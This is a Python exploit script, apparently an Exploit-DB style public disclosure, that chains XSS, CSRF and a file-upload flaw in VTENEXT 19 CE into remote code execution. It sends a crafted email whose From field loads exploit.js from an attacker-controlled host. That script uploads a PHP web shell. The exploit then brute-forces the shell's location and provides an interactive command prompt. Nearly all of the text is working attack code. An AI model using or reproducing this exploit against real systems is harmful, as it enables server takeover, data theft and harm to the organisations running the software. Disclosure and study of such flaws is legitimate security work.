#!/usr/bin/python3
# Exploit Title: VTENEXT 19 CE - Remote Code Execution
# Google Dork: n/a
# Date: 2020/09/09
# Exploit Author: Marco Ruela
# Vendor Homepage: https://www.vtenext.com/en/
# Software Link: Vendor removed vulnerable version from sourceforge.net
# Version: 19 CE
# Tested on: Ubuntu 16.04
# CVE : N/A
# 2020/03/07 - Disclosed vulnerabilities to vendor
# 2020/03/10 - Vendor committed to fix
# 2020/09/09 - Public disclosure
# This script should be easy enough to follow.
# We string together the three vulnerabilities to get RCE.
# XSS - The "From" field of the VTENEXT Messages module is vulnerable.
# File Upload - File extensions are checked against a $upload_badext in the config file, .pht extensions are allowed and executable by default .
# CSRF - No CSRF protections in place.
# exploit.js needs to be hosted somewhere, IP's need to be replaced
# check_csrf() should be changed based on your setup
# run_shell() is a "nice to have"
# content of exploit.js
"""
function insertImage() {
var xhr = new XMLHttpRequest();
xhr.open('POST','http://192.168.226.168/vtenext19ce/index.php?module=Myfiles&action=MyfilesAjax&file=UploadFile&folderid=&uniqueid=',true);
xhr.setRequestHeader('Content-type','multipart/form-data; boundary=---------------------------rekt');
xhr.setRequestHeader('Content-Length', '248');
xhr.setRequestHeader('Referer', 'http://172.16.233.146/vtenext19ce/index.php');
xhr.withCredentials = true;
var body = '-----------------------------rekt\nContent-Disposition: form-data; name="file_0"; filename="shell.pht"\nContent-Type: text/text\n\n<?php system($_GET[\'x\']); ?>\n\n-----------------------------rekt--';
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
insertImage();
"""
import smtplib
import datetime
import requests
import os
import time
base_url = "http://192.168.226.168/vtenext19ce/"
print("[*] CVE-2020-10227, CVE-2020-10228, CVE-2020-10229 - POC")
def build_url():
d = datetime.datetime.today()
year = str(d.year)
month = str(d.strftime("%B"))
week = "week" + str(d.isocalendar()[1] - d.replace(day=1).isocalendar()[1])
tmp = base_url + "storage/home/1/" + year + "/" + month + "/" + week + "/"
return(tmp)
def build_mail():
_from = """'<script src="http://192.168.226.1/exploit.js" onerror=alert(1) >'"""
_to = "admin@example.com"
_subject = "Important!"
_body = "While you're reading this, a file is being uploaded to this server."
msg = "From: " + _from + "\n"
msg += "To: " + _to + "\n"
msg += "Subject: " + _subject + "\n\n"
msg += _body
return msg
def send_mail():
msg = build_mail()
smtp_server = '192.168.226.167'
smtp_port = 25
sender = 'user1@lab.local'
receiver = 'admin@lab.local'
server = smtplib.SMTP(smtp_server, smtp_port)
server.sendmail(sender, receiver, msg)
def check_csrf():
while True:
is_there = os.popen('tail -n1 /var/log/apache2/access.log').read()
if "200" in is_there and "/exploit.js" in is_there and base_url in is_there:
print("[>] CSRF triggered")
break
else:
time.sleep(0.5)
continue
def find_shell():
print("[>] Locating shell")
time.sleep(1)
tmp1 = build_url()
for i in range(1, 9999):
url = tmp1 + str(i) + "_shell.pht"
r = requests.get(url)
if r.status_code == 200:
print("[>] Found the shell")
print("[-] Location: " + url)
return url
else:
continue
def run_shell(x):
print("\n")
while True:
cmd = input("shell> ")
if cmd == "exit":
break
else:
url = x + "?x=" + cmd
r = requests.get(url)
print(r.text)
print("[>] Sending email")
send_mail()
print("[-] Waiting for user to open mail")
check_csrf()
shell_location = find_shell()
run_shell(shell_location)
print("[!] Done!")
